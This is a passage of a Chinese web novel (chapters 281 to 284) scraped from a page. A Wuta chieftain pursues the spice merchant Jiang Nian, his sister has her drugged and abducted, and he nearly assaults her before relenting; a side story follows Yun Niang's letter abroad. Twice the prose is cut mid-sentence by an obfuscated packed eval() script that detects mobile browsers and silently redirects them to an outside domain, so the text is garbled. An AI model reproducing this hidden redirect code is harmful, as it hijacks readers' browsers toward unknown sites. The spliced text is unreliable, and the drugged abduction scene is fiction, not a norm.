男人们褪去队服,拿布巾把身上的汗水胡乱擦了,然后换上自己的衣衫,其中几人整装毕,朝一边喊了一声。 “陈宇兄,走,哥儿几个喝酒去。” 陈宇看了一眼正在更衣的苏和,说道:“你们叫阿和去,最好带他见识一下咱们大夏国水一般的姑娘。” 那几人笑闹起来,问苏和:“苏队,你来这段时日,咱们还未尽地主之谊,今日趁便,一道?” 苏和玩味地一笑,戏说道:“我就不去了,怕明日腿软下不来床。” 那几人又是一笑,见他不愿去也不勉强,推闹着走了。 苏和理好衣衫,看了一眼陈宇,招呼道:“走了。” 陈宇笑着回应了一声。 待人走后,陈宇套好靴子,从长椅上起身,出了屋室,却并未离开,而是转去另一个方向,经过一个过道,上了三楼,叩响房门。 “进来。” 陈宇刚走进去,又一人轻笑道:“问清了?” 第281章 让你心甘情愿跟我走 陈宇推开门,进了屋室,走到案几边,躬身道:“主子。” 魏秋抬了抬下巴,示意他坐下,然后眼也不抬地说道:“问了?” 这时,从大螺钿大帷屏后走出一人,正是烈真,只见其手上转玩着一串冷翠珠,闲闲地问:“可是问清了?” 陈宇正待起身行礼,烈真压手让他坐着不必动。 陈宇回坐好,说道:“我问他同那女子的关系,他没回答,防备着。” “什么都没说?” “没有。” 烈真笑道:“行了,你去罢,那我知道了。” 陈宇走后,烈真坐到魏秋对面,把冷翠珠往桌上一丢,心情甚好地给自己倒了一杯茶,说道:“你先前担心人家是夫妻,怕我以势压人,如今可见并不是,只怕连同心人也算不上。” “怎见得不是?”魏秋问道。 烈真意味深长地笑了两声,看了一眼周围,低声道:“若你心里的那位一开始看上的是你,而不是你兄长,旁人问你,她是谁,你是不是巴不得喧嚷得众人皆知,怎会这样遮遮掩掩,见不得人似的。” 魏秋呵了一声:“你再敢说这话,当心走不出大夏,我兄长的脾气你是知道的。” 烈真收起笑,一点也不惧:“我当着他的面也敢这样说。” 魏秋面色突然一变,看向烈真身后,叫了一声:“大哥。” 烈真猛地往后看去,身后哪有人,这才反应过来,魏秋戏耍自己,不过也懒得计较。 “不同你玩笑,我是真相中这小妇人。”烈真说着,脑中闪过她气瞪自己的模样。 “你相中有什么用,人家瞧不瞧得上你?我见那女子似是个有主意的,不似小家雀,只知啄眼前的谷粒,怕你降服不了。” “偏这样我才喜欢。”烈真笑了一声,“我心里有数,这妇人看我的眼神有些意趣。” 不知怎的,那女子当时的眼神太过复杂,等他走近后,那眼神又淡了下来。 说不出什么感觉,只知道,她好像在透过他看某人,可是没关系,如果他猜测得不错,她眼中那人已死,就是人没死,在她心里也**。 可纵使这样,她的眼底并不平静,如此甚好,只要不是死水一潭,他就能借着她心底的旧影,再次撩动心波。 个人私事,魏秋不再多问,心道,那女子开香料铺子,且是独身,烈真又是乌塔部首领,年轻,英姿不凡,又是个博浪性,一般女人难以招架。 想来不会闹出多大的事。 正想着,烈真又道:“对了,那消息你听说没有?” “你说的是隔海的梁国?” 烈真点头道:“梁国已亡,被他曾经羁縻的下属国灭了,一个下属国,竟然崛起这样快,当真是想不到。” “夷越么?我大哥同嫂嫂曾游历到梁国,在大梁见过夷越人,那些人同我们大不一样,比你们乌塔人更异样,对了,社里新来的那个苏和就是夷越人。” 烈真回想那人的容貌:“我是说看着哪里不对,发色、眸色浅些,五官更锐,原来是外海人。” 说到这里,烈真提醒道:“我多一句嘴,你同你兄长得警惕了,夷越人既然能拿下大梁,说不准就盯上你们,一海之隔,想要打,也是能打起来的。” “还有,你看那个苏和,他那体型虽不壮硕,可你们社里的那些人同他站一起,根本不够看,他那个耐力连我都吃了一惊,一人战整场,何其惊人的爆发力。” “还不知他这样的体格在夷越人当中算是几等,万一其他夷越人体格和耐力比他更甚……” 烈真越说越忧心,乌塔同大夏为盟,并不希望对上这样一群怪物。 魏秋冷笑一声:“我们可不惧,他们有本事就来,不过……夷越才经战事,不会傻到再引战火,况且两国隔着海。” 两人又说了会儿话,烈真离开了。 …… 这日,江念正在隔间制香,赵七娘找了过来。 “怎么这段时日总不见苏郎君?” 江念把手头的事情放下,引她坐了帷屏内,让秋水看茶。 “他不住店了。” 赵七娘挽了挽耳边的碎发:“不住店了呀……”接着又问,“那他搬去哪儿了?” “搬到我院子隔壁了。”江念笑着眉眼,“七娘你莫不是中意阿和?” 赵七娘也是直爽,脸上一红:“这么明显?” 江念但笑不语。 赵七娘挨近江念,说道:“我觉着他挺好的,模样也好,还有……人也好。” “你又没同他接触过,怎知他好?”江念反问,从小相伴的人都不能尽信,同床共枕多少个夜晚,看不清、看不透,怎能凭几面就断定一人的好坏? 赵七娘脸色更红,嗔了江念一眼:“日后不就知道了。” 话都说到这个份上,江念只好接话道:“七娘想让我从中撮合?” “若念娘肯出手相帮,那是再好不过。” 江念想了想说道:“只是我同他虽然相熟,他个人的事情,我们也不好干涉。” “这个自然,奴家只需一个合适的契机,自有办法将他拢住。” 傍晚时分,云娘做好饭食摆在院中,苏和自从搬到隔壁,也不自己开灶,交了伙食费,只在江念院子里搭伙吃。 听到院门响,知道江念回了,便前去开门,发现还多了一人,是云裳阁的老板。 苏和不是没经过人事的傻小子,从底层摸爬滚打才走到今天,人情练达,如何看不出这位女东家对自己有意。 眼睛往江念面上瞟了一眼,心里苦笑。 席间,赵七娘说话逗趣,又染上三分醉态,秋波斜睨,在苏和身上流连。 苏和嘴角带笑,赵七娘向他举杯,他便回敬,叫赵七娘更觉欢喜。 吃到差不多时,苏和站起,说道:“天色已晚,女东家可有车马来接?” 赵七娘三分醉态,说道:“并无马车来接奴家。” 苏和便出院牵来一匹马,送赵七娘归家。 待人走后,云娘看向江念,想了想说道:“妹子,你怎么这样傻。” 江念不明:“云姐姐为何这样说?” “阿和他……你怎么让赵七娘……嗳!”云娘也不知该怎么说。 云娘拉着江念的手,坐到凳子上:“阿和人不错。” 江念懂她的意思,却不想谈这些:“云姐姐,我现在这样就挺好的,从前的事你比谁都清楚,这些话莫要再说了,再者,阿和对我,对你还有秋水,都是一样的。” 云娘见她如此说,也不好 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上次他来时,云娘不在店中,今日乍见之下,叫云娘有一瞬间的恍惚,逆光中的身形同那位太像了。 “我的香可好了?”烈真问道。 “客人稍候。”云娘应下,去了帷屏内问江念。 江念知道是那人来拿香,便让云娘去柜架取,云娘应下正待出去,又被叫住。 “柜架下最左边的抽屉里有一把**,那是他的,云姐姐一并拿给他。”江念想了想,又道,“他若说没带钱,就把**留下……” 话音未落,帷屏外响起男人愉悦的笑声:“小娘子放心,今日带钱了。” 江念脸上一红,生出被人偷听的羞恼,可她开店做生意,还得笑脸相迎。 烈真不请自入,走进帷屏内:“银两奉上,小娘子点点够不够数。” 说着,让侍从抬了一个红木箱进来,木箱打开,里面堆满金锦珠宝。 江念也有些被惊到,看向烈真:“郎君这是何意?香再名贵,也不值这些。” 烈真抬手让人退下,然后睃了云娘一眼,云娘哪经得住男人这一眼威压,可又担心江念,僵着不敢动。 “云姐姐,你去忙,无事。”江念说道。 云娘得了话,这才从帷屏内退出。 此时隔间内只江念同烈真二人。 “虽是开门做生意,却也经不住客人这样戏耍。”江念说道。 烈真把香盒拿在手里把玩,然后抬目,说道:“我知道你叫阿念,也知道你从梁国来,还知道你住长福坊,能探听到的,我都探得,何来戏耍?” 他真没在一个女人身上怎样费过心,从来都是她们想方设法迎合自己。 江念面色微冷:“客人若是买香,自是欢迎,若是别的什么还请离去。” “你既然知晓我的意思,也是个颖悟之人,想来知觉出我身份不同,若跟了我,我必不会亏待你。” 烈真说罢,就见对面女子直直望向他,凉凉一笑,有些惨然的意味。 “客要以势压人?” 烈真呆了呆,被她看得有点心虚,转口道:“放心,不会以势迫你,会让你心甘情愿跟我走……” 第282章 将人打横抱起 烈真确实存了以金锦打动她的念头,见她不为所动,也在他的预料之中。 “真不要这些?”烈真看了眼身侧的红木箱。 “还请客人拿回。” 烈真往江念脸上看了两眼,他们乌塔族姿容貌美的女子不在少数,一个赛一个妍媚,若说性情,野性的、娇蛮的,还有那俏皮的,什么样的他没见过。 这女子容貌长得美倒在其次,她身体里好像有巨大的力量,一种不被打败的生野的意志,他喜欢她这种向上的逆劲儿。 不过也正是因为这种逆野,使他不能硬来,否则适得其反,手段需得温和,方能让她心甘情愿。 倒真是有些棘手。 烈真招了手下进来,把红木箱抬出去,起身准备离开。 “客人的宝刀。”江念提醒道。 烈真睨了一眼桌上的**,说道:“你留着,是个信物,我住九泽台,有事可以来找我。”说着,顿了一下,“无事也能来。” 说罢,便离开了。 九泽台?这地方她曾听赵七娘说过,大夏专门用来招待外宾之所。观那人外貌,是乌塔人。 江念看了眼桌上的**,叹了一口气,这是个什么人呐,拿了她的香,也不给银子,就留把**。 于是气笑着摇头,把**收起,出了帷屏,仍是放回柜架左侧的抽屉里。 …… 烈真从香料铺子离开后回了九泽台,才进府门,一下人急走过来。 “王,阿丽娜公主来了。” 烈真还没来得及蹙眉,一个叮叮当当的亮影走来,伴着一道声音:“王兄?” 烈真挥手让下人退去,看向来人。 卷曲的长发,戴着亮闪的头纱,束脚灯笼裤,宽大的裤腿,踩着一双软底翘头鞋正向他走来,正是他同父异母的王妹,阿丽娜。 “还是来了。”烈真往里走去。 阿丽娜讨好地笑道:“你一个当首领的在大夏待了这样久,我怎的不能来?” 烈真摇了摇头,他这个王妹,一心在魏秋身上,偏魏秋又一心在他嫂嫂身上,依他看,阿丽娜枉费心思。 “王兄什么时候回?”阿丽娜问道。 “再缓缓。” 阿丽娜点了点头:“可是还有紧要之事待办?” 烈真突然顿住脚,转头看向阿丽娜,阿丽娜被烈真看得莫名,摸了摸自己的脸,然后从腰间叮叮当当拿出一面小镜,照看。 没脏物儿啊。 “把你那破镜子收起来,我同你商量个事。”烈真说道。 阿丽娜便把镜子收起,她有些怵她这位王兄。 他这位王兄可是个狠人,心思藏得深。 王兄的生母是夏女,严格说来,他并非真正的乌塔族人,最后却将有母族支持的大王兄拉下马,转身坐上乌塔王位。 好在他对她这个王妹并未苛待。 “什么事,王兄直言。” 烈真便把江念的事说了,又道:“你若能想办法将她和我之间做成,我便向夏帝开口,如你的愿让魏秋娶你,怎么样?” 这话的内容太满,她得一点点理清。 王兄内宫诸多美人儿,大多是乌塔部或是其他部族进献的女子,那些女子,无一不是蜜色如绸的肌,艳丽娇媚之态。 这是他王兄的偏好,他不喜柔弱乖觉那一派,怎的这回换口味了? “若我做成王兄同这女子,刚才那话当真?”阿丽娜问道。 “当真。” 阿丽娜转瞬又低声道:“没用的,夏国皇后和皇帝的话他都不听。” 烈真看着她,怎么感觉自己也挺可怜,难兄难妹,都是求而不得。 阿丽娜忽又开口:“小妹想开了,他若不愿意就不愿意,王兄也别再开口,他们大夏不是有句话,不能在一棵树上吊死,所以我决定多吊几棵树。” “不过,王兄既然遇见可意人,小妹定助王兄抱得美人归。” 烈真听罢甚是欣慰,觉得小妹长大了,不似先前那样任性不讲理。 “好,那王兄等你的好消息。” 他身为男子,有些话不好开口,阿丽娜同为女子更方便说话。 …… 香远山在京都的名声已做了起来。 算算日子,从江念登上海船,在海上航行月余,再到大夏的港口城,再从港口城辗转到大夏都城,之后寻住宅、找店铺,再之后张罗香料铺大小事宜。 一点点将生意盘大,不知不觉中已将近一年。 如今,店里新请了香工沈氏,又有云娘和秋水打下手,江念也空闲下来,做了甩手掌柜。 这日,店里突然来了一女子,进来先把店里四下扫了一圈。 秋水见这女人衣着装扮,知其是乌塔人,上前迎道:“客人想买什么香?” 那女子把秋水看了眼,问道:“你是这家店的掌柜?” “奴只是店里的伙计。”秋水说道。 “那把你家掌柜请出,有事相商。” 秋水点了点头,许多熟客来了,不论男女,非得要她家娘子出来接待,只有娘子说话,他们才肯心服,花钱也花得开心。 “客人稍候。” 秋水进了帷屏内,对江念说客人请见。 江念出了帷屏,那女子见了江念,说道:“娘子是店掌柜?” “正是,客人喜欢什么香可以同我说。”江念说道。 那女子点头道:“不是奴要买香,是奴的主子要买,可她贵人身重,还请掌柜的随奴去一趟,好叫她亲自说于你知晓。”女子说罢,又追说,“掌柜放心,只要我家主子满意,酬金不少。” 这要求不算过分,江念开店做生意,特别是同高门贵府家的女眷打交道,移步入府是常有的事。 江念同香工沈氏还有云娘交代了几句,让秋水拿了些香样,一起随那人去了。 马车停在一家酒楼前。 江念在秋水的搀扶中下了车,随那女子上了酒楼。 “主子,香远山的掌柜来了。” 门里响起一道女声:“进来。” 江念这才推门而入,秋水想随进,却被那婢子拦在外,只让江念一人进。 江念看着眼前这位明艳俏丽的乌塔族女子,像一朵开得正好的花。 “请坐。”阿丽娜说道。 江念告了座,依例询问有关香料的话。 譬如想要什么香?送人还是自用?有无对哪种草物不喜或是过敏? 阿丽娜便趁机往江念面上看,好看是好看的,算是她见过最好看的内陆女子,却也有些出乎她的意料,并不是王兄以往偏好的那一口。 江念说着,却发现对面的女子好像并没 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秋水在门外候着,屋门打开,从内走出一女子,却不见她家娘子,立时问道:“我们掌柜呢?” 阿丽娜又怎么理会一个丫头,自有身边人去应付,径直离开。 秋水急了,好好的一个人,怎么会就没了,可在这里问不出个所以,她又是个没主见的,立马跑回店里找云娘,云娘哪里碰到过这样的事。 异国他乡,官府衙门连他们本国百姓的事都管不来,哪会去管他们这些异乡人。 当下找到苏和,想他如今有些名气,说话比她们管用。 苏和也不多言,直接找上老管事,要请见蹴鞠社东家,谁知魏秋人不在蹴鞠社。 …… 九泽台外院的大厅内,烈真沉眼看着眼前的阿丽娜。 “这就是你说的办法?这就是你说的抱得美人归?!” 阿丽娜嘿笑两声:“一个开铺子的商女,王兄喜欢,弄来便是,然后带回乌塔,收入后宫,哪还有这许多愁烦。” 烈真揉了揉额,前一刻还说她变了,不再任性妄为,他收回那话。 如今人被迷晕强掳来,他怎么都说不清了,唯有将错就错。 “离远些,我看见你头疼。”烈真摆了摆手。 阿丽娜知道自己闯了祸,也不敢多言,心虚地走了。 烈真出了厅堂,拐过两道长廊,再穿过几道月洞门,最后进到一方绿植葳蕤的庭院中,上了台阶,推门而入。 屋里光线幽暗,从亮处到暗处,眼睛有一瞬的不适应,他将门反手关上,向里迈进一步,一个黑影从旁掠来,于是下意识出拳,意识到什么,由拳变掌将黑影控住,抵在门板上。 那黑影软靠着门板,身体往下滑去,手上还攥着一根玉簪,最后连玉簪也绵软得掉到地上,碎成几段。 因药力未完全退去,他只稍稍一带,她便落到他怀里,全身的力气倚在他身上,头抵着他的肩头,一头乌发柔顺地垂散于他的臂膀。 烈真的心跳得有些重,在这幽幽静谧的房间里,她一定听得很清楚。 “放我走……”江念弱声道。 可这话他没听,而是抬手捻了捻她耳边的碎发,然后将人打横抱起,往床榻走去…… 第283章 我想见一见我的朔儿 苏和听秋水和云娘的话,前后一想,猜出个大概,应该同东家那名乌塔族的友人有关。 云娘同秋水帮不上忙,便让她二人等消息。 光天化日之下,抢人,当真是没有王法,只是那乌塔人定是个有身份的。 不然也不敢这样嚣张行事,报官来不及,而且不一定有用,于是打算让他们东家出面,把人救出来。 不承想,老管事却说东家不在蹴鞠社。 “东家在哪里?我去找他。”苏和急得两个眼眶通红。 老管事想了想说道:“你去魏王府,端看他愿不愿见你。” 苏和料到东家身份不一般,不承想这人竟是大夏的魏王,当下不再犹豫,翻身上马,奔去了魏王府。 …… 魏秋办蹴鞠社本就是闲来无事,给自己找点事情做,没随兄长征战以前,那时的他还只是一个小官之子,整日鹰犬走马。 后来才慢慢转了性儿。 深深的庭院有一片湖池,湖边簇着绿植,湖面临着一亭轩。 亭轩栏杆低矮,栏台上屈蹲着一人,那人上身只着绵白中衣,未穿外衫,以一根木簪子懒懒挽着乌发。 一条胳膊随意地搭垂着,另一只手执着细长的钓竿,一条几不可见的渔线垂到水里。 湖风起,吹皱水。 “王爷,外面有个自称苏和的外族人找,因他无名帖,小人本不想理会,可见他神色惶惶,小人怕误事特来禀报。” 魏秋的眼仍盯着水面,问道:“可有说何事?” “没有,只是急着求见。” 魏秋招了招手,护卫上前,魏秋把鱼竿递到他手里:“拿好,一会儿我回来,看你能钓几条。” 说罢,双足施力一蹬,从栏杆落地,往一个方向走去。 待人走后,护卫把鱼竿往上提了提,凝目看去,鱼钩……是直的! …… 苏和见到了魏秋,把江念被掳一事说了。 “你如何肯定掳她的人是我的那位友人?”魏秋问道。 “王爷的那位友人来过香料铺子,我见过,而这次约她出去的女子也是乌塔人,这女子说不定是受他指使……” 魏秋抬手止住他的话:“只凭乌塔人的身份,就断定他们为一伙人未免草率。” 烈真虽说有心于那女子,却也行不出强抢之事,太跌份了。 可苏和凭直觉同那人脱不了关系,双膝跪地道:“请魏王出面相助,若不是那人,小人甘愿领罚。” “你可知他的身份?就是我在他面前也矮一头。”魏秋又道,“他曾助我王兄得天下,又是一族之首领,同一国之君也没差,想好了?真要去?” 苏和捏了捏手心,肯定道:“只要能救我的友人,惹怒了那位贵人,随他处置。” 魏秋点了点头,让下人备马,一行人往九泽台行去。 …… 江念身上没有力气,可意识是清醒的,她被他放到榻上,仰躺着,两眼怒瞪着榻边之人。 烈真松开护袖,扯下腰带,倾覆到江念的上方,两只臂膀撑在她的脸侧。 “我说不是我的主意,你信不信?” 江念睨了一眼他松散的衣襟,眼中尽是讥讽,那意思再明显不过。 烈真轻笑出声:“你看,你不信我,总是惹你厌了,不如成了好事,也不枉担个恶名儿。” 江念冷笑一声:“你可真是不挑。” 烈真不明这话的意思。 江念继续道:“想你也是有身份之人,连有夫有子的妇人都不放过。” “有夫有子?”烈真支起一条腿,把江念的腿分开,“你说的夫就是那个踢蹴鞠的?他配不上你,不论你这话是真是假,哪怕真有孩子又如何。” 说着俯身到她耳边,低声道,“我也能给你……” 话间,男人的手已探到江念的衣带上,然而却顿住了,他有些受不住这女人哭。 并不落泪,就是红着眼圈,梗着颈脖,脖颈上突出两道明显的棱,浑身都在抗拒着他。 烈真罢了手,撑起身子重理衣装,趿鞋下榻往门外走去,又顿住脚。 “安心躺一会儿,药性自然就解了。” 江念侧过头看向那人的背影。 烈真出了房门,谁知刚出房门,下人来报魏王请见。 烈真走到前厅,就见到魏秋正坐着喝茶,问道:“怎么今日想着到我这里来?” 魏秋直言道:“人呢?” “你听谁说的?”烈真懒懒坐到椅上,下人从旁看茶。 “真把人掳了?!人呢,怎样了?” 烈真不紧不慢地呷了一口茶:“你急什么,跟你有什么关系,她好着,什么事也没有,身上药性还未退,待好了我自放她走。”停了一会儿,又问,“你那社员找上了你?” 魏秋并不答他的话:“我走了,你把人全须全尾送回。” 烈真“嗯”了一声,也不送他。 苏和还在九泽台的府门外候着,见魏秋出来,上前问道:“我那友人可在?” 魏秋点了点头:“放心,人没事,一会儿就送回,你让人在家中候着……” 不待魏秋说完,苏和已往府里冲撞进去。 “拦住他!”魏秋说道。 三四人将苏和围拢,却被他几下撂翻在地,立马又围上几人,这才将他制伏。 “你要进去送死?”魏秋走到苏和身边,见他腮帮紧咬,双目怒瞪,于是说道,“放心,人没事,这里面定有误会,我这位朋友我还是知道的,只是到底怎么回事,他不愿说,我也不好多问。” 说罢,让护卫放开他。 苏和看向魏秋:“魏王,我信你,你告诉我,我那友人真无事?” “无事。” 苏和不再说话,也不离开,蹲在府门前的台阶下,守着。 “看着他。”魏秋怕他乱来,支了两名手下,然后纵马离开。 …… 江念恢复得差不多了,从九泽台离去,走之前,烈真看着她,说道:“你再好好想想,我还会在大夏待一段时日,想通了来找我。” 江念摇了摇头就要离去,烈真让人备马车相送,也被她拒了。 苏和见江念出来,在她脸上望了一眼,什么也没问,扶她上马背,无声地牵着马儿往家中走去。 云娘几人关了铺子,早早在家中守着,见了江念,担着的心才放下。 这夜,比邻两间院子的人注定睡不着。 苏和躺在院子的躺椅上,今日之事让他意识到,就算有了名气、有了钱财,也护不住她。 而在另一边,秋水服侍江念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905367|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从浴桶起身,用大巾替她拭干身上的水渍,烛光下丰泽的肌,十分有曲度的隆圆,脉脉腰下是延展的弧线。 俨然成**人的丰姿。 时间好快,在她心里,娘子还是那个穿金戴银,珠翠满头的娇女儿,可一个抬眼,眼前这人又是谁呢,叫她险些认不出。 一时间又是心酸又是嗟叹。 深夜,江念背身侧卧于榻,假装抬手揉眼擦去眼角的泪,行商之人,她该想到的。 她在昏迷前听那女子的话语,原话是: 带她去九泽台,交给我王兄。 女子称那人为王兄,所以,住九泽台的那个乌塔人是乌塔族首领。 江念不禁想,那位乌塔族公主之所以敢这么不计后果地行恶,究其原因就两个字,不怕。 对她来说,自己是一个没有身份的商女,所有的律规在这位公主身上是没有约束的,不论她做了什么,有她王兄保她,她王兄保不住,魏家兄弟看在她王兄的面上也会保她。 若是旁人,多多少少会有所顾忌,可这位公主却是明目张胆的任性妄为。 她既然在外抛头露脸行商,有些事情没法预料,然而,不管意料之外还是意料之内,都要面对,她是没有退路的,把自己看得糙一点,便没那么伤感了。 日子照旧,这一个小小的插曲轻淡淡地过去。 这日,是云娘的生辰,江念想在酒楼置酒席给她庆祝,可云娘并不愿铺张,只想相熟的几人在自家院里弄一桌简单的酒菜。 于是谁也没邀请,只有江念、秋水外加苏和在院子里给云娘庆生。 吃喝到一定时候,众人已有七八分醉意。 他们几人向来说话随意,这会儿更是闲散自在地吹着夜风,想到什么说什么。 “今日云姐姐生辰,对着满天星许个愿罢。”江念说道。 云娘酡红着脸,抬头看向夜空,醉言醉语道:“对它们许愿,它们能听见?” 江念点头道:“这么多的星,总有一颗能听见,是不是?”说着问向秋水和苏和。 两人听后,回应着点头。 云娘一想,好像有道理,合起双手在胸前,低声道:“我想着……我想着啊——我心里也惦记着哩!” 妇人喃喃说着,自以为别人听不见,可江念几人都听见了,也不知她说了个什么,秋水戏说道:“云娘这是想汉子啦——” 云娘拉着秋水打,笑骂道:“就你机灵,快,你听了我的愿,你也许一个,让我听听。” 秋水便笑着,合起手,对满天星说道:“我要一辈子同我家娘子在一起。” 江念忙倒了一杯酒,笑着喂她吃。 “娘子也许个愿罢。”秋水吃多了酒,歪在江念的身上。 江念也捧起手,仰望着星,醉着腔儿:“我想见一见我的朔儿……” 说罢,江念放下手,看向苏和:“你也许一个。” 苏和仰头望向星空,然后看向江念:“我的愿望就是希望念娘的愿望能实现。” 众人都醉了,不知是谁说了一声:“你们说,星能否听到我们的愿望?会实现吗?” “那么多星,总有一颗听见,会实现的……” 满天星斗,疏疏密密的布着,一颗带着尾巴的星从夜空划过…… 第284章 寄往外海的相思信 头一夜,众人吃多了酒,第二日都起晚了,尤其是云娘,因是给她做生,众人哄她吃酒,她吃得最多。 次日一早,几人都起了只她屋里还没动静。 “灶房留些饼和汤,用纱隔着。”江念吩咐秋水。 “留着了。” 两人也不叫云娘,让她继续睡,然后出门去了香料铺。 云娘迷迷糊糊醒来,周围很安静,看了眼纱窗上的天光,叫了一声:“水丫头?” “妹子?” 没人回应,料想她们已经离开,于是揉了揉额穴,叹了一口气,把胸腔还混沌着的气息呼出。 昨夜,她们让她许愿,她说了什么,她说,还想着哩,深夜寂静之时,就会想着那么个人。 不知他可有想自己。 这么想着,生出一个念头,这个念头一旦生出,她就再没任何犹豫,要去完成它,于是从床上起身,洗漱一番,把灶房的饼吃了,出了门。 出门时,街面已经很热闹。 云娘脚步连贯没有半点迟疑,径往一个方向行去,显然要去的那个地方,她很熟悉,终于,在一个摊位前停下,坐了下来。 摊主是一个后生,白净净,头上戴着方巾,看了一眼云娘,问道:“嫂子要写家书?” 云娘点了点头,后生执笔蘸墨,云娘开口,磕磕巴巴说着这一年的生活。 她如今同自己的妹子生活在一起,她们在大夏国开了一家香料铺,又轻描淡写地说了海上的遭遇,后被人救下,他们成了友人,住在一个巷弄…… 云娘絮絮说着,不过信中的所有人都未点及姓名。 后生见妇人说到这里便开始支吾,脸上生出红晕,当下明了,想来下面的话语难以启齿,于是问道:“嫂子写给家人?” 云娘点了点头。 后生又问:“家人是男子?” 云娘脸又红了一点,不过仍是点头。 后生懂了,他在这里出摊,什么样的客人没见过,这位妇人想写一封相思信,而那收信之人同她又非正经夫妻。 后生再次执笔蘸墨,说道:“不如小生写一封,把先前说的那些经历写下,后面的话,尽表关切和想念,写完后嫂子看一看,若有哪里不通,再改如何?” 云娘想了想,觉得也可,于是应了。 后生按着标准式样,规规矩矩写了一封,然后递给云娘。 云娘认得一些简单字样,看了一眼又让后生读给她听。 一封即将寄往外海的书信就这么定下。 后生将信套好,再次执笔:“送往何处?家宅住址?” “夷越国……”云娘顿了顿,扣了一下指,又道,“东南市,第三街,巷口南第一家,申府。” 那后生听了长长的“哟”了一声:“寄往外海的信。” “是,可以寄出么?”云娘担忧道。 “可以呀,只是咱们长福坊没有寄外海的驿站,你得去麟德大道,那一爿有。” 云娘听后舒了一口气,接着又听后书问:“收信人姓名是?”” “申……申……” 云娘已耽误后生不少时候,且后面又来了一人,只想尽快收银钱把人打发,好做成下一单生意,于是连连写上:申申。 云娘“嗳嗳”两声:“我还未说完,你怎的就写上了。” 后生朝云娘睇了一个“我懂你”的眼色:“这样称呼更亲昵。” “你把人名写错,人怎么能收到?” “这地址没错就成,定能收到,嫂子大可放心。”后生忙着把信往云娘手里一塞,等她给银钱。 云娘想了想,也对,地址没错,他应当能收到。 当初,她去了夷越,就一直在司药局当值,刚进王庭那会儿,连药材名字也叫不出,她又识不得太多字,那些夷越宫婢欺生,别说问事问物了,她们不找麻烦就算好的。 其实她当时的处境相当不好。 直到那个人出现,记得有一次,药局来了一批药材,需要她们分拣处理。 那个时候的她被排挤,不好做的活计都丢给她,往往药材一来,后面的处理就落到她的头上。 她让宫奴把几捆药材拖到后院,然后铺散开,先做一些简单处理,料理了一上午,终于清出个模样,于是把这些草药拢起,正待起身,前殿的掌药女官走来。 “这是刚来的药材?” 云娘点头应是。 掌药女官往周围看了看,似是在找什么:“不是有三捆么,还有两捆呢?” “三捆都在这,我拆开后合在一处,一起清拣。”她想着自己能做就多做一点,便一口气把三捆都散了。 那掌药女官先是怔了怔,之后面色一变,惊声出:“你把三捆合在一起了?!” 云娘怔怔地点头:“是。” 女官闭上眼,再次睁开,声音又冷又硬:“谁告诉你要合在一处了?你难道不知这三捆里有两捆是金丝草,另一捆是银钱藤?” 云娘也慌了:“我不知道。” “不知道?不知道不会问,没长嘴?” 云娘性子也火直,很想回呛一句,是我不问么,我问了她们也不说,平日你睁一只眼闭一只眼,不见管,这会儿出了错就怨我? 可她还是生生压下了,这话不能说,说出来不仅以下犯上,还把周围一圈人都得罪,以后的日子只怕更艰难。 女官走之前丢下一句:“你办的好事,自己想办法,今日若是不区分开来,去自领罪罢。” 旁边还有几个宫婢看了一出好戏,偷笑着躲出去了。 待人都走后,云娘朝地上啐了一口,骂了一句脏。 可骂归骂,事情还得咬牙做,看着地上的一团“乱草”,根本没办法区分,就是把两种草药拿到她面前,告诉她,这是金丝草,这是银线藤,再一混,她仍没法区别开。 正在愁烦着,一个笑声从后响起。 当下没多想,以为是那几个幸灾乐祸的,回头一眼狠瞪,谁知是宫医署的宫医。 宫医署同司药局比邻,两边人员常往来。 “申宫医来挑药材?”云娘忙调整脸色,微笑道。 申胡维看了眼地上的药材,点头道:“听说新进了一批金丝草,所以来看看成色,只是……” 说着往地上睨了一眼。 云娘赶紧笑说:“不打紧,一会儿我就把它们分开了,申宫医过会儿再来?” 申胡维走上前,蹲下身,两指捻了捻草药:“会区分么?” “会!怎么不会,申宫医放心,马上就能分开,你待会儿来就成。” 申胡维捡起一根药草,起身,拿到云娘面前问:“劳烦告诉我,这个是金丝草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905368|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是银线藤?” 云娘看着那藤丝,心道,半成概率能猜对,于是语气笃定,笃定中又有些心虚地跑出三个字:“银线藤。” 说完以后,她仔细观察对方的细微表情,见他唇角微抿,忙改口道:“我再看看……哎呀,错说了,错说了,这是金丝草。” 申胡维看向云娘,语中带了一丝笑:“它就是一根草。” “一根草?!” “对,就是草。” 申胡维将手里的草随手一丢,云娘红了脸,有些抬不起头。 “你来,我告诉你怎么区分。” 男人说着,蹲到药材边,云娘也走了过去,蹲下。 “金丝草,通体暗黄色,草茎内部贯穿着带有微金光泽的金线,这些金线细如发丝、坚韧异常,药性温和,主治内伤瘀滞,能续筋接骨,价值千金。”申胡维在说到价值不菲时,又瞟了一眼云娘。 云娘觉着这一眼的意思是它很贵,她的小命不够赔。 申宫医说着将手里的金丝草捻断,里面真如他所说,有金丝。 “而这个银线藤呢,外形土黄干枯细条状,同金丝草相似,然后你再看……”男人说着,将手里的银线藤捻断,“这里面也有线丝,不过银白色。” 云娘嘴巴合不住,连连点头:“对,对,那我只需把它们捻断,凭丝线的颜色就可区分开?” 申胡维轻声笑道:“这可不行。” “为何?” 